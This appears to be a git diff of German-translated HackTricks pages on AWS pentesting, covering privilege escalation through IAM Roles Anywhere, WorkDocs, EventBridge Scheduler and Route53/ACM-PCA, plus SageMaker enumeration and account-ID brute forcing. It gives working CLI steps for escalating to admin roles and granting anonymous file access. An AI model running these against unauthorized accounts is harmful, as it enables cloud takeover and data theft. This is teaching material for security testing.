+Zum Beispiel: Wenn ein **EKS service account** sich als **IAM-Rolle** ausgeben können soll, hat er ein Token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** und kann die Rolle übernehmen und Anmeldeinformationen erhalten, indem er so etwas ausführt:
+```bash
+aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
+# The role name can be found in the metadata of the configuration of the pod
+```
+### Federation Abuse
+
+{{#ref}}
+../../aws-basic-information/aws-federation-abuse.md
+{{#endref}}
+
+### IAM Roles Anywhere Privesc
+
+AWS IAM Roles Anywhere ermöglicht Workloads außerhalb von AWS, IAM roles mithilfe von X.509-Zertifikaten zu übernehmen. Wenn trust policies jedoch nicht richtig eingeschränkt sind, können sie für privilege escalation missbraucht werden.
+
+Um diesen Angriff zu verstehen, muss erklärt werden, was ein trust anchor ist. Ein trust anchor in AWS IAM Roles Anywhere ist die Root-of-trust-Entität; er enthält das öffentliche Zertifikat einer Certificate Authority (CA), die im Account registriert ist, sodass AWS die vorgelegten X.509-Zertifikate validieren kann. Auf diese Weise erkennt AWS ein client certificate als gültig an, wenn es von dieser CA ausgestellt wurde und der trust anchor aktiv ist.
+
+Außerdem ist ein profile die Konfiguration, die definiert, welche Attribute des X.509-Zertifikats (wie CN, OU oder SAN) in session tags umgewandelt werden und diese Tags später mit den Bedingungen der trust policy verglichen werden.
+
+Diese Policy enthält keine Beschränkungen, welche trust anchors oder Zertifikatattribute zugelassen sind. Folglich kann jedes Zertifikat, das an einen beliebigen trust anchor im Account gebunden ist, verwendet werden, um diese Rolle zu assume.
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"Service": "rolesanywhere.amazonaws.com"
+},
+"Action": [
+"sts:AssumeRole",
+"sts:SetSourceIdentity",
+"sts:TagSession"
+]
+}
+]
+}
+
+```
+Für privesc wird der `aws_signing_helper` von https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html benötigt
+
+Anschließend kann der Angreifer mit einem gültigen Zertifikat in eine Rolle mit höheren Rechten pivot.
+```bash
+aws_signing_helper credential-process \
+--certificate readonly.pem \
+--private-key readonly.key \
+--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
+--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
+--role-arn arn:aws:iam::123456789012:role/Admin
+```
+Der Vertrauensanker verifiziert, dass das Client-`readonly.pem`-Zertifikat von seiner autorisierten CA stammt, und innerhalb dieses `readonly.pem`-Zertifikats befindet sich der öffentliche Schlüssel, den AWS verwendet, um zu prüfen, dass die Signatur mit dem entsprechenden privaten Schlüssel `readonly.key` erstellt wurde.
+
+Das Zertifikat liefert außerdem Attribute (wie CN oder OU), die das `default`-Profil in Tags umwandelt, welche die Trust-Policy der Rolle verwenden kann, um zu entscheiden, ob Zugriff autorisiert wird. Wenn in der Trust-Policy keine Bedingungen definiert sind, sind diese Tags nutzlos und Zugriff wird jedem mit einem gültigen Zertifikat gewährt.
+
+Damit dieser Angriff möglich ist, müssen sowohl der Vertrauensanker als auch das `default`-Profil aktiv sein.
+
+### References
+
+- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md
similarity index 50%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md
index bafe99b19..0db4818dc 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md
@@ -1,25 +1,25 @@
 # AWS - WorkDocs Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## WorkDocs
 
-Für weitere Informationen zu WorkDocs siehe:
+Weitere Informationen zu WorkDocs findest du unter:
 
 {{#ref}}
-../aws-services/aws-directory-services-workdocs-enum.md
+../../aws-services/aws-directory-services-workdocs-enum.md
 {{#endref}}
 
 ### `workdocs:CreateUser`
 
-Erstellen Sie einen Benutzer im angegebenen Verzeichnis, dann haben Sie Zugriff auf sowohl WorkDocs als auch AD:
+Erstelle einen Benutzer im angegebenen Verzeichnis; anschließend hast du Zugriff auf WorkDocs und AD:
 ```bash
 # Create user (created inside the AD)
 aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
 ```
-### `workdocs:GetDocument`, `(workdocs:DescribeActivities)`
+### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)`
 
-Die Dateien könnten sensible Informationen enthalten, lesen Sie sie:
+Die Dateien können sensible Informationen enthalten. Lesen Sie sie:
 ```bash
 # Get what was created in the directory
 aws workdocs describe-activities --organization-id <directory-id>
@@ -32,7 +32,7 @@ aws workdocs get-document --document-id <doc-id>
 ```
 ### `workdocs:AddResourcePermissions`
 
-Wenn Sie keinen Zugriff haben, um etwas zu lesen, können Sie es einfach gewähren.
+Wenn du keinen Lesezugriff auf etwas hast, kannst du ihn einfach gewähren.
 ```bash
 # Add permission so anyway can see the file
 aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
@@ -40,14 +40,14 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
 ```
 ### `workdocs:AddUserToGroup`
 
-Sie können einen Benutzer zum Administrator machen, indem Sie ihn in die Gruppe ZOCALO_ADMIN setzen.\
-Befolgen Sie dazu die Anweisungen von [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
+Du kannst einen Benutzer zum Administrator machen, indem du ihn in die Gruppe ZOCALO_ADMIN setzt.\
+Dafür folge den Anweisungen unter [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
 
-Melden Sie sich mit diesem Benutzer in Workdocs an und greifen Sie auf das Admin-Panel unter `/workdocs/index.html#/admin` zu.
+Melde dich mit diesem Benutzer in workdoc an und rufe das Admin-Panel unter `/workdocs/index.html#/admin` auf.
 
-Ich habe keinen Weg gefunden, dies über die CLI zu tun.
+Ich habe keinen Weg gefunden, dies über die cli zu tun.
 
 
 
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md
similarity index 60%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md
index 11e655a30..aff994708 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md
@@ -1,20 +1,20 @@
 # AWS - EventBridge Scheduler Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## EventBridge Scheduler
 
-Weitere Informationen zum EventBridge Scheduler in:
+Mehr Informationen zu EventBridge Scheduler in:
 
 {{#ref}}
-../aws-services/eventbridgescheduler-enum.md
+../../aws-services/eventbridgescheduler-enum.md
 {{#endref}}
 
 ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`)
 
-Ein Angreifer mit diesen Berechtigungen kann **`einen`|`einen` Scheduler erstellen und die Berechtigungen der an ihn angehängten Scheduler-Rolle missbrauchen**, um jede Aktion auszuführen.
+Ein Angreifer mit diesen Berechtigungen kann **`create`|`update` einen scheduler erstellen/aktualisieren und die Berechtigungen der scheduler role missbrauchen**, die daran angehängt ist, um beliebige Aktionen auszuführen
 
-Zum Beispiel könnten sie den Zeitplan so konfigurieren, dass er **eine Lambda-Funktion aufruft**, was eine vorgefertigte Aktion ist:
+Zum Beispiel könnten sie den Zeitplan so konfigurieren, dass er **eine Lambda-Funktion aufruft**, was eine vorlagenbasierte Aktion ist:
 ```bash
 aws scheduler create-schedule \
 --name MyLambdaSchedule \
@@ -25,7 +25,7 @@ aws scheduler create-schedule \
 "RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
 }'
 ```
-Neben den vorgefertigten Dienstaktionen können Sie **universelle Ziele** im EventBridge Scheduler verwenden, um eine Vielzahl von API-Operationen für viele AWS-Dienste aufzurufen. Universelle Ziele bieten die Flexibilität, nahezu jede API aufzurufen. Ein Beispiel könnte die Verwendung universeller Ziele sein, um "**AdminAccessPolicy**" hinzuzufügen, indem eine Rolle verwendet wird, die die Berechtigung "**putRolePolicy**" hat:
+Zusätzlich zu templated service actions können Sie **universal targets** in EventBridge Scheduler verwenden, um eine breite Palette von API-Operationen für viele AWS-Services aufzurufen. Universal targets bieten die Flexibilität, nahezu jede API aufzurufen. Ein Beispiel wäre die Verwendung von universal targets zum Hinzufügen der "**AdminAccessPolicy**", wobei eine Rolle verwendet wird, die die Richtlinie "**putRolePolicy**" besitzt:
 ```bash
 aws scheduler create-schedule \
 --name GrantAdminToTargetRoleSchedule \
@@ -42,4 +42,4 @@ aws scheduler create-schedule \
 - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)
 - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
deleted file mode 100644
index aeeca5a6f..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - Route53 Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-Für weitere Informationen zu Route53 siehe:
-
-{{#ref}}
-../aws-services/aws-route53-enum.md
-{{#endref}}
-
-### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
-
-> [!NOTE]
-> Um diesen Angriff durchzuführen, muss das Zielkonto bereits eine [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** im Konto eingerichtet haben, und EC2-Instanzen in den VPC(s) müssen die Zertifikate bereits importiert haben, um ihnen zu vertrauen. Mit dieser Infrastruktur kann der folgende Angriff durchgeführt werden, um den AWS API-Verkehr abzufangen.
-
-Andere Berechtigungen **werden empfohlen, sind aber nicht erforderlich für den Enumerations**-Teil: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
-
-Angenommen, es gibt eine AWS VPC mit mehreren cloud-nativen Anwendungen, die miteinander und mit der AWS API kommunizieren. Da die Kommunikation zwischen den Mikrodiensten oft TLS-verschlüsselt ist, muss es eine private CA geben, um die gültigen Zertifikate für diese Dienste auszustellen. **Wenn ACM-PCA dafür verwendet wird** und der Angreifer es schafft, **Zugriff auf die Kontrolle sowohl von route53 als auch von acm-pca private CA** mit dem oben beschriebenen minimalen Berechtigungsset zu erhalten, kann er **die Anwendungsaufrufe an die AWS API hijacken** und deren IAM-Berechtigungen übernehmen.
-
-Dies ist möglich, weil:
-
-- AWS SDKs kein [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) haben
-- Route53 das Erstellen von Private Hosted Zone und DNS-Einträgen für AWS API-Domainnamen ermöglicht
-- Private CA in ACM-PCA nicht darauf beschränkt werden kann, nur Zertifikate für spezifische Common Names zu signieren
-
-**Potenzielle Auswirkungen:** Indirekter Privesc durch Abfangen sensibler Informationen im Verkehr.
-
-#### Ausnutzung <a href="#discovery" id="discovery"></a>
-
-Finden Sie die Ausnutzungsschritte in der ursprünglichen Forschung: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md
new file mode 100644
index 000000000..9beaed435
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md
@@ -0,0 +1,32 @@
+# AWS - Route53 Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Für mehr Informationen über Route53 siehe:
+
+{{#ref}}
+../../aws-services/aws-route53-enum.md
+{{#endref}}
+
+### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
+
+> [!NOTE]
+> Um diesen Angriff durchzuführen, muss das Zielkonto bereits eine AWS Certificate Manager Private Certificate Authority (https://aws.amazon.com/certificate-manager/private-certificate-authority/) (AWS-PCA) im Konto eingerichtet haben, und EC2-Instanzen in den VPC(s) müssen die Zertifikate bereits importiert haben, um ihr zu vertrauen. Mit dieser Infrastruktur kann der folgende Angriff durchgeführt werden, um AWS API-Traffic abzufangen.
+
+Andere Berechtigungen **werden empfohlen, sind aber für den enumeration-Teil nicht erforderlich**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
+
+Angenommen, es gibt eine AWS VPC mit mehreren cloud-nativen Anwendungen, die miteinander und mit der AWS API kommunizieren. Da die Kommunikation zwischen den Microservices oft TLS-verschlüsselt ist, muss es eine private CA geben, die die gültigen Zertifikate für diese Dienste ausstellt. **If ACM-PCA is used** dafür und der Angreifer schafft es, **Zugriff zur Kontrolle sowohl von route53 als auch der acm-pca private CA** mit der oben beschriebenen Mindestmenge an Berechtigungen zu erlangen, kann er **die Anwendungsaufrufe an die AWS API hijacken** und damit deren IAM-Berechtigungen übernehmen.
+
+Das ist möglich, weil:
+
+- AWS SDKs verfügen nicht über Certificate Pinning
+- Route53 erlaubt das Erstellen von Private Hosted Zone und DNS-Einträgen für AWS APIs Domain-Namen
+- Private CA in ACM-PCA kann nicht so eingeschränkt werden, dass sie nur Zertifikate für bestimmte Common Names signiert
+
+**Mögliche Auswirkungen:** Indirekte privesc durch Abfangen sensibler Informationen im Traffic.
+
+#### Exploitation <a href="#discovery" id="discovery"></a>
+
+Finde die Exploitation-Schritte in der Originalforschung: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md
similarity index 50%
rename from src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md
index ba3a45790..f0f0fab45 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md
@@ -1,10 +1,10 @@
 # AWS - DocumentDB Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## DocumentDB
 
-Amazon DocumentDB, das Kompatibilität mit MongoDB bietet, wird als **schneller, zuverlässiger und vollständig verwalteter Datenbankdienst** präsentiert. Entwickelt für Einfachheit in Bereitstellung, Betrieb und Skalierbarkeit, ermöglicht es die **nahtlose Migration und den Betrieb von MongoDB-kompatiblen Datenbanken in der Cloud**. Benutzer können diesen Dienst nutzen, um ihren vorhandenen Anwendungscode auszuführen und vertraute Treiber und Tools zu verwenden, was einen reibungslosen Übergang und Betrieb ähnlich wie bei der Arbeit mit MongoDB gewährleistet.
+Amazon DocumentDB, das mit MongoDB kompatibel ist, wird als **schneller, zuverlässiger und vollständig verwalteter Datenbankdienst** angeboten. Es ist für einfache Bereitstellung, Betrieb und Skalierbarkeit konzipiert und ermöglicht die **nahtlose Migration und den Betrieb von MongoDB-kompatiblen Datenbanken in der Cloud**. Nutzer können diesen Dienst nutzen, um ihren bestehenden Anwendungscode auszuführen und vertraute Treiber und Tools einzusetzen, was einen reibungslosen Übergang und Betrieb ähnlich wie bei MongoDB gewährleistet.
 
 ### Enumeration
 ```bash
@@ -21,7 +21,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute
 ```
 ### NoSQL Injection
 
-Da DocumentDB eine mit MongoDB kompatible Datenbank ist, können Sie sich vorstellen, dass sie auch anfällig für gängige NoSQL-Injection-Angriffe ist:
+Da DocumentDB eine mit MongoDB kompatible Datenbank ist, ist sie wahrscheinlich auch für gängige NoSQL injection-Angriffe anfällig:
 
 {{#ref}}
 https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
@@ -30,11 +30,11 @@ https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
 ### DocumentDB
 
 {{#ref}}
-../aws-unauthenticated-enum-access/aws-documentdb-enum.md
+../../aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
 {{#endref}}
 
-## References
+## Referenzen
 
 - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
new file mode 100644
index 000000000..d2993aa8f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
@@ -0,0 +1,202 @@
+# AWS - SageMaker Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Service-Übersicht
+
+Amazon SageMaker ist AWS' verwaltete Machine-Learning-Plattform, die Notebooks, Trainingsinfrastruktur, Orchestrierung, Registries und verwaltete Endpunkte zusammenführt. Eine Kompromittierung von SageMaker-Ressourcen verschafft typischerweise:
+
+- Langfristige IAM-Ausführungsrollen mit weitreichendem Zugriff auf S3, ECR, Secrets Manager oder KMS.
+- Zugriff auf sensible Datensätze, die in S3, EFS oder in Feature Stores gespeichert sind.
+- Netzwerk-Fußfeste innerhalb von VPCs (Studio apps, training jobs, endpoints).
+- Hochprivilegierte presigned URLs, die die Console-Authentifizierung umgehen.
+
+Zu verstehen, wie SageMaker aufgebaut ist, ist entscheidend, bevor Sie pivot, persist oder exfiltrate Daten.
+
+## Core Building Blocks
+
+- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Jede Domain hat ein gemeinsames EFS-Dateisystem und eine standardmäßige Ausführungsrolle.
+- **Notebook Instances**: Verwaltete EC2-Instanzen für eigenständige Notebooks; verwenden separate Ausführungsrollen.
+- **Training / Processing / Transform Jobs**: Ephemere Container, die Code aus ECR und Daten aus S3 ziehen.
+- **Pipelines & Experiments**: Orchestrierte Workflows, die alle Schritte, Inputs und Outputs beschreiben.
+- **Models & Endpoints**: Verpackte Artefakte, die für Inference über HTTPS-Endpoints bereitgestellt werden.
+- **Feature Store & Data Wrangler**: Verwaltete Services zur Datenaufbereitung und Feature-Verwaltung.
+- **Autopilot & JumpStart**: Automatisiertes ML und kuratierter Modellkatalog.
+- **MLflow Tracking Servers**: Verwaltetes MLflow UI/API mit presigned access tokens.
+
+Jede Ressource referenziert eine Ausführungsrolle, S3-Standorte, Container-Images und optional VPC/KMS-Konfiguration—erfassen Sie alle während der enumeration.
+
+## Konto- & globale Metadaten
+```bash
+REGION=us-east-1
+# Portfolio status, used when provisioning Studio resources
+aws sagemaker get-sagemaker-servicecatalog-portfolio-status --region $REGION
+
+# List execution roles used by models (extend to other resources as needed)
+aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' --output text | tr '	' '
+' | sort -u
+
+# Generic tag sweep across any SageMaker ARN you know
+aws sagemaker list-tags --resource-arn <sagemaker-arn> --region $REGION
+```
+Notiere jegliche cross-account trust (execution roles oder S3 buckets mit external principals) und grundlegende Einschränkungen wie service control policies oder SCPs.
+
+## Studio Domains, Apps & Shared Spaces
+```bash
+aws sagemaker list-domains --region $REGION
+aws sagemaker describe-domain --domain-id <domain-id> --region $REGION
+aws sagemaker list-user-profiles --domain-id-equals <domain-id> --region $REGION
+aws sagemaker describe-user-profile --domain-id <domain-id> --user-profile-name <profile> --region $REGION
+
+# Enumerate apps (JupyterServer, KernelGateway, RStudioServerPro, CodeEditor, Canvas, etc.)
+aws sagemaker list-apps --domain-id-equals <domain-id> --region $REGION
+aws sagemaker describe-app --domain-id <domain-id> --user-profile-name <profile> --app-type JupyterServer --app-name default --region $REGION
+
+# Shared collaborative spaces
+aws sagemaker list-spaces --domain-id-equals <domain-id> --region $REGION
+aws sagemaker describe-space --domain-id <domain-id> --space-name <space> --region $REGION
+
+# Studio lifecycle configurations (shell scripts at start/stop)
+aws sagemaker list-studio-lifecycle-configs --region $REGION
+aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name <name> --region $REGION
+```
+Was zu erfassen:
+
+- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`.
+- Eingehängte EFS (`HomeEfsFileSystemId`) und S3-Home-Verzeichnisse.
+- Lifecycle-Skripte (enthalten oft Bootstrap-Anmeldeinformationen oder zusätzlichen Push-/Pull-Code).
+
+> [!TIP]
+> Vorgesignierte Studio-URLs können die Authentifizierung umgehen, wenn sie breit vergeben werden.
+
+## Notebook-Instanzen & Lifecycle-Konfigurationen
+```bash
+aws sagemaker list-notebook-instances --region $REGION
+aws sagemaker describe-notebook-instance --notebook-instance-name <name> --region $REGION
+aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION
+aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name <cfg> --region $REGION
+```
+Notebook-Metadaten offenbaren:
+
+- Ausführungsrolle (`RoleArn`), direkter Internetzugang vs. nur VPC-Modus.
+- S3-Standorte in `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`.
+- Lifecycle-Skripte für credentials oder persistence hooks.
+
+## Training-, Processing-, Transform- und Batch-Jobs
+```bash
+aws sagemaker list-training-jobs --region $REGION
+aws sagemaker describe-training-job --training-job-name <job> --region $REGION
+
+aws sagemaker list-processing-jobs --region $REGION
+aws sagemaker describe-processing-job --processing-job-name <job> --region $REGION
+
+aws sagemaker list-transform-jobs --region $REGION
+aws sagemaker describe-transform-job --transform-job-name <job> --region $REGION
+```
+Prüfen:
+
+- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – welche ECR-Images bereitgestellt werden.
+- `InputDataConfig` & `OutputDataConfig` – S3-Buckets, Prefixes und KMS-Schlüssel.
+- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – bestimmen die Netzwerk- oder Verschlüsselungs-Konfiguration.
+- `HyperParameters` können Umgebungsgeheimnisse oder Connection-Strings leak.
+
+## Pipelines, Experimente & Trials
+```bash
+aws sagemaker list-pipelines --region $REGION
+aws sagemaker list-pipeline-executions --pipeline-name <pipeline> --region $REGION
+aws sagemaker describe-pipeline --pipeline-name <pipeline> --region $REGION
+
+aws sagemaker list-experiments --region $REGION
+aws sagemaker list-trials --experiment-name <experiment> --region $REGION
+aws sagemaker list-trial-components --trial-name <trial> --region $REGION
+```
+Pipeline-Definitionen beschreiben jeden Schritt, zugeordnete Rollen, Container-Images und Umgebungsvariablen. Trial-Komponenten enthalten häufig Trainings-Artefakt-URIs, S3-Logs und Metriken, die auf sensible Datenflüsse hinweisen.
+
+## Modelle, Endpoint-Konfigurationen & bereitgestellte Endpoints
+```bash
+aws sagemaker list-models --region $REGION
+aws sagemaker describe-model --model-name <name> --region $REGION
+
+aws sagemaker list-endpoint-configs --region $REGION
+aws sagemaker describe-endpoint-config --endpoint-config-name <cfg> --region $REGION
+
+aws sagemaker list-endpoints --region $REGION
+aws sagemaker describe-endpoint --endpoint-name <endpoint> --region $REGION
+```
+Fokusbereiche:
+
+- S3-URIs der Model-Artefakte (`PrimaryContainer.ModelDataUrl`) und Inference-Container-Images.
+- Konfiguration von Endpoint Data Capture (S3 bucket, KMS) für mögliche Log exfil.
+- Multi-model Endpoints, die `S3DataSource` oder `ModelPackage` verwenden (auf cross-account packaging prüfen).
+- Netzwerkkonfigurationen und security groups, die an Endpoints angehängt sind.
+
+## Feature Store, Data Wrangler & Clarify
+```bash
+aws sagemaker list-feature-groups --region $REGION
+aws sagemaker describe-feature-group --feature-group-name <feature-group> --region $REGION
+
+aws sagemaker list-data-wrangler-flows --region $REGION
+aws sagemaker describe-data-wrangler-flow --flow-name <flow> --region $REGION
+
+aws sagemaker list-model-quality-job-definitions --region $REGION
+aws sagemaker list-model-monitoring-schedule --region $REGION
+```
+Sicherheits-Hinweise:
+
+- Online feature stores replizieren Daten zu Kinesis; überprüfe `OnlineStoreConfig.SecurityConfig.KmsKeyId` und VPC.
+- Data Wrangler flows enthalten häufig eingebettete JDBC/Redshift-Zugangsdaten oder private Endpunkte.
+- Clarify/Model Monitor jobs exportieren Daten nach S3, die möglicherweise weltweit lesbar oder kontenübergreifend zugänglich sind.
+
+## MLflow Tracking Servers, Autopilot & JumpStart
+```bash
+aws sagemaker list-mlflow-tracking-servers --region $REGION
+aws sagemaker describe-mlflow-tracking-server --tracking-server-name <name> --region $REGION
+
+aws sagemaker list-auto-ml-jobs --region $REGION
+aws sagemaker describe-auto-ml-job --auto-ml-job-name <name> --region $REGION
+
+aws sagemaker list-jumpstart-models --region $REGION
+aws sagemaker list-jumpstart-script-resources --region $REGION
+```
+- MLflow tracking servers speichern Experimente und Artefakte; presigned URLs können alles exponieren.
+- Autopilot jobs starten mehrere training jobs — enumeriere Outputs nach versteckten Daten.
+- JumpStart reference architectures können privilegierte Rollen im Konto bereitstellen.
+
+## IAM & Netzwerküberlegungen
+
+- Ermittle IAM-Policies, die an alle Ausführungsrollen angehängt sind (Studio, notebooks, training jobs, pipelines, endpoints).
+- Überprüfe Netzwerkkontexte: subnets, security groups, VPC endpoints. Viele Organisationen isolieren training jobs, vergessen jedoch, ausgehenden Traffic zu beschränken.
+- Überprüfe S3-Bucket-Policies, die in `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` referenziert werden, auf externen Zugriff.
+
+## Privilege Escalation
+
+{{#ref}}
+../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
+{{#endref}}
+
+## Persistence
+
+{{#ref}}
+../../aws-persistence/aws-sagemaker-persistence/README.md
+{{#endref}}
+
+## Post-Exploitation
+
+{{#ref}}
+../../aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
+{{#endref}}
+
+## Unauthorized Access
+
+{{#ref}}
+../aws-sagemaker-unauthorized-access/README.md
+{{#endref}}
+
+## Referenzen
+
+- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html)
+- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html)
+- [SageMaker Studio Architecture](https://docs.aws.amazon.com/sagemaker/latest/dg/gs-studio.html)
+- [SageMaker Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/security.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
deleted file mode 100644
index 2a55fe27c..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
+++ /dev/null
@@ -1,43 +0,0 @@
-# AWS - Konten Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Konten-IDs
-
-Wenn Sie ein Ziel haben, gibt es Möglichkeiten, die Konten-IDs von Konten zu identifizieren, die mit dem Ziel verbunden sind.
-
-### Brute-Force
-
-Sie erstellen eine Liste potenzieller Konten-IDs und Aliase und überprüfen diese.
-```bash
-# Check if an account ID exists
-curl -v https://<acount_id>.signin.aws.amazon.com
-## If response is 404 it doesn't, if 200, it exists
-## It also works from account aliases
